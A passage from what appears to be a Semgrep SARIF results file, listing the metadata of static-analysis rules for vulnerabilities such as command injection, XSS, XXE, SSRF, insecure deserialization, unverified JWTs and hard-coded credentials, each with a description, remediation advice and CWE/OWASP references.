Rule](https://semgrep.dev/r/python.lang.security.audit.paramiko-implicit-trust-host-key.paramiko-implicit-trust-host-key)\n - [http://docs.paramiko.org/en/stable/api/client.html#paramiko.client.AutoAddPolicy](http://docs.paramiko.org/en/stable/api/client.html#paramiko.client.AutoAddPolicy)\n","text":"Detected a paramiko host key policy that implicitly trusts a server's host key. Host keys should be verified to ensure the connection is not to a malicious server. Use RejectPolicy or a custom subclass instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.paramiko-implicit-trust-host-key.paramiko-implicit-trust-host-key","id":"python.lang.security.audit.paramiko-implicit-trust-host-key.paramiko-implicit-trust-host-key","name":"python.lang.security.audit.paramiko-implicit-trust-host-key.paramiko-implicit-trust-host-key","properties":{"precision":"very-high","tags":["CWE-322: Key Exchange without Entity Authentication","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.paramiko-implicit-trust-host-key.paramiko-implicit-trust-host-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User controlled data in methods like `innerHTML`, `outerHTML` or `document.write` is an anti-pattern that can lead to XSS vulnerabilities"},"help":{"markdown":"User controlled data in methods like `innerHTML`, `outerHTML` or `document.write` is an anti-pattern that can lead to XSS vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.insecure-document-method.insecure-document-method)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"User controlled data in methods like `innerHTML`, `outerHTML` or `document.write` is an anti-pattern that can lead to XSS vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.browser.security.insecure-document-method.insecure-document-method","id":"javascript.browser.security.insecure-document-method.insecure-document-method","name":"javascript.browser.security.insecure-document-method.insecure-document-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.insecure-document-method.insecure-document-method"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Request data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list. See https://owasp.org/www-community/attacks/Command_Injection for more information."},"help":{"markdown":"Request data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list. See https://owasp.org/www-community/attacks/Command_Injection for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.command.command-injection-os-system.command-injection-os-system)\n - [https://owasp.org/www-community/attacks/Command_Injection](https://owasp.org/www-community/attacks/Command_Injection)\n","text":"Request data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list. See https://owasp.org/www-community/attacks/Command_Injection for more information."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.command.command-injection-os-system.command-injection-os-system","id":"python.django.security.injection.command.command-injection-os-system.command-injection-os-system","name":"python.django.security.injection.command.command-injection-os-system.command-injection-os-system","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.command.command-injection-os-system.command-injection-os-system"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mysqlclient.python-mysqlclient-hardcoded-secret.python-mysqlclient-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.mysqlclient.python-mysqlclient-hardcoded-secret.python-mysqlclient-hardcoded-secret","id":"python.mysqlclient.python-mysqlclient-hardcoded-secret.python-mysqlclient-hardcoded-secret","name":"python.mysqlclient.python-mysqlclient-hardcoded-secret.python-mysqlclient-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mysqlclient.python-mysqlclient-hardcoded-secret.python-mysqlclient-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insufficient curve size for EC. NIST recommends a key size of 224 or higher. For example, use 'ec.SECP256R1'."},"help":{"markdown":"Detected an insufficient curve size for EC. NIST recommends a key size of 224 or higher. For example, use 'ec.SECP256R1'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insufficient-ec-key-size.insufficient-ec-key-size)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/ec/#elliptic-curves](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/ec/#elliptic-curves)\n","text":"Detected an insufficient curve size for EC. NIST recommends a key size of 224 or higher. For example, use 'ec.SECP256R1'."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insufficient-ec-key-size.insufficient-ec-key-size","id":"python.cryptography.security.insufficient-ec-key-size.insufficient-ec-key-size","name":"python.cryptography.security.insufficient-ec-key-size.insufficient-ec-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insufficient-ec-key-size.insufficient-ec-key-size"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-validator-xxe-spring.tainted-validator-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-validator-xxe-spring.tainted-validator-xxe-spring","id":"java.spring.security.xxe.tainted-validator-xxe-spring.tainted-validator-xxe-spring","name":"java.spring.security.xxe.tainted-validator-xxe-spring.tainted-validator-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-validator-xxe-spring.tainted-validator-xxe-spring"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-sentinels-secret.ruby-redis-hardcoded-sentinels-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-sentinels-secret.ruby-redis-hardcoded-sentinels-secret","id":"ruby.redis.ruby-redis-hardcoded-sentinels-secret.ruby-redis-hardcoded-sentinels-secret","name":"ruby.redis.ruby-redis-hardcoded-sentinels-secret.ruby-redis-hardcoded-sentinels-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.redis.ruby-redis-hardcoded-sentinels-secret.ruby-redis-hardcoded-sentinels-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Set 'verify' to `true` before using the token."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Set 'verify' to `true` before using the token.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jwt-simple.security.jwt-simple-noverify.jwt-simple-noverify)\n - [https://www.npmjs.com/package/jwt-simple](https://www.npmjs.com/package/jwt-simple)\n - [https://cwe.mitre.org/data/definitions/287](https://cwe.mitre.org/data/definitions/287)\n - [https://cwe.mitre.org/data/definitions/345](https://cwe.mitre.org/data/definitions/345)\n - [https://cwe.mitre.org/data/definitions/347](https://cwe.mitre.org/data/definitions/347)\n","text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Set 'verify' to `true` before using the token."},"helpUri":"https://semgrep.dev/r/javascript.jwt-simple.security.jwt-simple-noverify.jwt-simple-noverify","id":"javascript.jwt-simple.security.jwt-simple-noverify.jwt-simple-noverify","name":"javascript.jwt-simple.security.jwt-simple-noverify.jwt-simple-noverify","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","CWE-345: Insufficient Verification of Data Authenticity","CWE-347: Improper Verification of Cryptographic Signature","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jwt-simple.security.jwt-simple-noverify.jwt-simple-noverify"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-pandas-hdf-django.tainted-pandas-hdf-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-pandas-hdf-django.tainted-pandas-hdf-django","id":"python.django.deserialization.tainted-pandas-hdf-django.tainted-pandas-hdf-django","name":"python.django.deserialization.tainted-pandas-hdf-django.tainted-pandas-hdf-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-pandas-hdf-django.tainted-pandas-hdf-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected the use of an insecure deserialization library in a Flask route. These libraries are prone to code execution vulnerabilities. Ensure user data does not enter this function. To fix this, try to avoid serializing whole objects. Consider instead using a serializer such as JSON."},"help":{"markdown":"Detected the use of an insecure deserialization library in a Flask route. These libraries are prone to code execution vulnerabilities. Ensure user data does not enter this function. To fix this, try to avoid serializing whole objects. Consider instead using a serializer such as JSON.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.insecure-deserialization.insecure-deserialization)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Detected the use of an insecure deserialization library in a Flask route. These libraries are prone to code execution vulnerabilities. Ensure user data does not enter this function. To fix this, try to avoid serializing whole objects. Consider instead using a serializer such as JSON."},"helpUri":"https://semgrep.dev/r/python.flask.security.insecure-deserialization.insecure-deserialization","id":"python.flask.security.insecure-deserialization.insecure-deserialization","name":"python.flask.security.insecure-deserialization.insecure-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.insecure-deserialization.insecure-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.knex.node-knex-empty-password.node-knex-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.knex.node-knex-empty-password.node-knex-empty-password","id":"javascript.knex.node-knex-empty-password.node-knex-empty-password","name":"javascript.knex.node-knex-empty-password.node-knex-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.knex.node-knex-empty-password.node-knex-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","id":"kotlin.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","name":"kotlin.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Registering the identity used by an App with AD allows it to interact with other services without using username and password. Set the `identity` block in your appservice."},"help":{"markdown":"Registering the identity used by an App with AD allows it to interact with other services without using username and password. Set the `identity` block in your appservice.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-account-identity-registered.appservice-account-identity-registered)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#identity](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#identity)\n","text":"Registering the identity used by an App with AD allows it to interact with other services without using username and password. Set the `identity` block in your appservice."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-account-identity-registered.appservice-account-identity-registered","id":"terraform.azure.security.appservice.appservice-account-identity-registered.appservice-account-identity-registered","name":"terraform.azure.security.appservice.appservice-account-identity-registered.appservice-account-identity-registered","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-account-identity-registered.appservice-account-identity-registered"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected usage of noassert in Buffer API, which allows the offset the be beyond the end of the buffer. This could result in writing or reading beyond the end of the buffer."},"help":{"markdown":"Detected usage of noassert in Buffer API, which allows the offset the be beyond the end of the buffer. This could result in writing or reading beyond the end of the buffer.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-buffer-noassert.detect-buffer-noassert)\n - [https://cwe.mitre.org/data/definitions/119.html](https://cwe.mitre.org/data/definitions/119.html)\n","text":"Detected usage of noassert in Buffer API, which allows the offset the be beyond the end of the buffer. This could result in writing or reading beyond the end of the buffer."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-buffer-noassert.detect-buffer-noassert","id":"javascript.lang.security.detect-buffer-noassert.detect-buffer-noassert","name":"javascript.lang.security.detect-buffer-noassert.detect-buffer-noassert","properties":{"precision":"very-high","tags":["CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-buffer-noassert.detect-buffer-noassert"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-requests.tainted-flask-http-request-requests)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-requests.tainted-flask-http-request-requests","id":"python.flask.net.tainted-flask-http-request-requests.tainted-flask-http-request-requests","name":"python.flask.net.tainted-flask-http-request-requests.tainted-flask-http-request-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-requests.tainted-flask-http-request-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.apache-hardcoded-empty-secret.apache-hardcoded-empty-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.apache-hardcoded-empty-secret.apache-hardcoded-empty-secret","id":"kotlin.sql.apache-hardcoded-empty-secret.apache-hardcoded-empty-secret","name":"kotlin.sql.apache-hardcoded-empty-secret.apache-hardcoded-empty-secret","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.apache-hardcoded-empty-secret.apache-hardcoded-empty-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration leverages the in-built public key pinning mechanisms however has pins which are Certificate Authority Identities, rather than Leaf Identities. Trusting a Certificate Authority is much more lenient than trusting a single leaf identity. Consider pinning to leaf identities rather than CA, following the principle of least privelege."},"help":{"markdown":"The application's App Transport Security (ATS) configuration leverages the in-built public key pinning mechanisms however has pins which are Certificate Authority Identities, rather than Leaf Identities. Trusting a Certificate Authority is much more lenient than trusting a single leaf identity. Consider pinning to leaf identities rather than CA, following the principle of least privelege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-pins.ATS-CA-pins)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration leverages the in-built public key pinning mechanisms however has pins which are Certificate Authority Identities, rather than Leaf Identities. Trusting a Certificate Authority is much more lenient than trusting a single leaf identity. Consider pinning to leaf identities rather than CA, following the principle of least privelege."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-pins.ATS-CA-pins","id":"swift.insecure-communication.ats.ats-pins.ATS-CA-pins","name":"swift.insecure-communication.ats.ats-pins.ATS-CA-pins","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-pins.ATS-CA-pins"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS CodeBuild Project is unencrypted. The AWS KMS encryption key 